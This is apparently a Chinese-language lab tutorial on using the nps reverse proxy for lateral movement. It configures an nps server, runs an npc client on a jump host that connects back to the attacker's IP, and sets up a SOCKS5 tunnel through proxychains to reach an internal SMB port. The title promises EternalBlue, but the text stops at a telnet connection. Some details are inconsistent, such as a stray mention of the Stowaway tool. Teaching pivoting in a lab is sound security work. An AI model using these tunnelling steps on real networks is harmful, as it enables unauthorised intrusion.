nps反向代理原理详解与内网横向渗透实战
本文实现使用nps反向代理进行内网服务器的永恒之蓝渗透实战,实验过程如下所示。1. 在攻击机Kali中配置nps服务端2. 在跳板机target1中配置nps客户端3. 在攻击机中配置proxychains,使用telnet命令访问`内网靶机target2
目录
本文实现使用nps反向代理进行内网服务器的永恒之蓝渗透实战,实验过程与拓扑如下所示。
- 1. 在攻击机Kali中配置nps服务端
- 2. 在跳板机target1中配置nps客户端
- 3. 在攻击机中配置proxychains,使用telnet命令访问内网靶机target2

一、nps原理
nps 是一款轻量级、高性能的内网穿透代理工具,由 Go 语言开发,支持 TCP、UDP、HTTP、HTTPS 等多种协议,主要用于解决内网服务暴露到公网的问题,同时提供丰富的权限管理、流量控制等功能。
1、角色
nps采用C/S 架构(客户端 - 服务器架构),包含两个核心程序:
- 服务端(nps)
- 部署在具有公网 IP 的服务器(如 VPS、云服务器),负责接收客户端连接和外部用户的访问请求。
- 监听管理端口(默认 8080,用于 Web 管理)和数据端口(默认 8024,用于客户端通信)。
- 客户端(npc)
- 部署在内网设备(如需要被访问的服务器、PC),负责主动连接服务端,并将内网服务端口映射到服务端。
- 通过配置文件或命令行指定服务端地址、认证信息及映射规则
2、工作流程
- 部署服务端:在公网服务器下载对应版本的 nps 程序,启动服务端并初始化配置(如设置管理面板账号密码)。
- 配置服务端:通过 Web 管理面板(默认
http://公网IP:8080)创建客户端(记录客户端 ID 和密钥),配置端口映射规则。 - 部署客户端:在内网设备下载 npc 程序,通过命令行或配置文件指定服务端地址、客户端 ID 和密钥,启动客户端。
- 访问测试:外部设备通过
公网IP:映射端口访问内网服务(如http://公网IP:8000访问内网 Web 服务)。
二、攻击机配置nps管理端
本部分计划在攻击机启动管理端并监听端口7000等待内网节点连接。
1、NAT配置
由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。
点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为8024,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

2、攻击机配置nps
(1)解压服务端
在本地的Kali系统中上传nps的服务端linux_amd64_server.tar.gz,执行如下命令。
tar zxvf tar zxvf linux_amd64_server.tar.gz
(2)配置nps
其中nps的配置文件(conf目录下的nps.conf) 内容如下所示。
appname = nps
#Boot mode(dev|pro)
runmode = dev
#HTTP(S) proxy port, no startup if empty
http_proxy_ip=0.0.0.0
http_proxy_port=80
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key
##bridge
bridge_type=tcp
bridge_port=8024
bridge_ip=0.0.0.0
# Public password, which clients can use to connect to the server
# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
public_vkey=123
#Traffic data persistence interval(minute)
#Ignorance means no persistence
#flow_store_interval=1
# log level LevelEmergency->0 LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
log_level=7
#log_path=nps.log
#Whether to restrict IP access, true or false or ignore
#ip_limit=true
#p2p
#p2p_ip=127.0.0.1
#p2p_port=6000
#web
web_host=0.0.0.0
web_username=admin
web_password=123
web_port = 9999
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps
#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678
#allow_ports=9001-9009,10001,11000-12000
#Web management multi-user login
allow_user_login=false
allow_user_register=false
allow_user_change_username=false
#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false
#cache
http_cache=false
http_cache_length=100
#get origin ip
http_add_origin_header=false
#client disconnect timeout
disconnect_timeout=60
特别注意如下几项内容的配置,其中web页面管理的端口号设置为9999,密码为123。
#web
web_host=0.0.0.0
web_username=admin
web_password=123
web_port = 9999
详细的含义如下表所示,配置生效后,启动 nps 服务端,即可通过http://服务器IP:9999使用admin和123登录 Web 管理面板,进行客户端和代理规则的配置管理。
| 配置项 | 含义与作用 | 详细说明 |
|---|---|---|
#web |
配置段标识(注释) | 用于区分配置文件中的不同模块,此处标识后续为 Web 管理面板的相关配置。 |
web_host=0.0.0.0 |
Web 服务绑定的 IP 地址 | 0.0.0.0表示监听服务器上所有可用的网络接口(公网 IP、内网 IP 等),外部可通过服务器的任意 IP 访问 Web 面板。若设为127.0.0.1,则仅允许本地访问。 |
web_username=admin |
Web 管理面板的登录用户名 | 登录 Web 界面时需输入的用户名,此处设置为admin(可自定义修改,如manager)。 |
web_password=123 |
Web 管理面板的登录密码 | 登录 Web 界面时需输入的密码,此处为123(建议实际使用时修改为复杂密码,如StrongP@ssw0rd,提升安全性)。 |
web_port = 9999 |
Web 管理面板的监听端口 | 外部通过该端口访问 Web 界面(访问地址为http://服务器ip地址:9999)。需确保该端口未被占用且已在防火墙中开放。 |
(3)安装nps
将 nps 服务端程序安装为系统服务,命令如下所示。
./nps install:完成服务注册,为持久化运行做准备;
-
./nps install命令作用:将 nps 程序安装为系统服务,实现开机自启和系统级别的管理。./nps:当前目录下的 nps 服务端可执行程序(需先赋予执行权限:chmod +x nps)。install:nps 的内置命令,用于将程序注册为系统服务(兼容 systemd、upstart 等服务管理机制)。-
执行效果:运行后,nps 会在系统服务目录中创建服务配置文件(如
/etc/systemd/system/nps.service),并完成服务注册。此时 nps 可通过系统服务命令(如systemctl start nps)管理,而非每次手动运行./nps。 -
关键作用:实现 nps 的持久化运行,避免终端关闭后程序终止,且支持开机自动启动(默认配置下)。
(4)启动nps
./nps start:启动服务,使 nps 进入运行状态,开始接收客户端连接和处理代理请求
-
./nps start命令作用:启动已安装的 nps 系统服务。start:nps 的内置命令,用于启动服务(本质是通过系统服务管理器启动 nps 进程)。-
执行效果:成功启动后,nps 服务端开始运行,监听配置文件中指定的端口(如 Web 管理端口 9999、客户端通信端口 8024 等)。
3、攻击机配置web管理端
(1)登录Web管理端
使用用户名admin和密码123访问web管理网址http://127.0.0.1:9999/login/index,URL如下所示。
http://127.0.0.1:9999/login/index

登陆成功后效果如下所示,注意左侧边栏中有客户端client项目。

(2)增加客户端
点击“客户端client”,选择“增加”,操作步骤如下所示。

在唯一验证密钥即为nps.conf的`public_key`,主要参数如下所示。
| 参数 | 说明 |
|---|---|
| 客户端备注 | 自定义名称(如 “Mooyuan”,用于区分不同设备)。 |
| 唯一验证密钥 | 客户端连接服务端的认证密钥(可自动生成或手动设置,后续客户端配置需用到)。 |
这里备注选择mooyuan,唯一密钥处使用conf文件中的默认配置,点击add效果如下所示。

配置成功后如下所示,注意下图红框中的加号。

(3)生成客户端命令
点击上图中的加号,复制下图红色部分的命令行,如下所示。

此处由于做了映射 所以命令需要修改IP,将/npc -server=127.0.0.1:8024 -vkey=71meb3pfav10hea0 -type=tcp中的IP地址进行修改为攻击机的IP地址20.1.0.33,如下所示。
/npc -server=20.1.0.33:8024 -vkey=71meb3pfav10hea0 -type=tcp
三、跳板机配置nps客户端
在 Linux 系统的跳板机上配置nps代理端(client)的操作,目的是将跳板机作为中间节点,建立与目标管理端的反向连接,为内网渗透搭建代理通道,命令如下所示。
./npc -server=20.1.0.33:8024 -vkey=71meb3pfav10hea0 -type=tcp
运行结果如下所示。

此时查看攻击机中的状态,如下图红框所示状态变为online,说明已经成功连接。

四、攻击机配置socks代理
1、nps配置socks
首先在攻击机nps的web管理端查看当前客户端的id,如下图红框所示id为4。

同时注意上图左侧边栏红框中的socks选项,点击socks并新增socks配置,如下所示点击加号。

点击+号后弹框配置socks5代理,效果如下所示。

本文中的客户端id为4,服务端口选择7777,点击add,如下所示添加成功。

添加成功后效果如下所示,注意下图中的状态均为绿色。

2、proxychains配置socks
使用proxychains做socks5代理,配置/etc/proxychains4.conf文件,具体如下所示。
# 代理类型(socks5、http等) 代理IP 端口
socks5 0.0.0.0 7777
socks5:指定代理类型(Stowaway 默认提供 SOCKS5 代理,需与其匹配)。0.0.0.0:代理服务所在的 IP(本地代理填127.0.0.1或0.0.0.0)。
配置 proxychains 使用 0.0.0.0:7777 的核心目的是将本地工具的流量通过指定的代理端口(7777)转发,结合 Stowaway 工具建立的代理通道,实现对目标内网的间接访问,配置效果如下图所示。

五、攻击机telnet访问内网
使用proxychains telnet 172.16.100.33 445访问内网,如下所示渗透成功。

更多推荐


所有评论(0)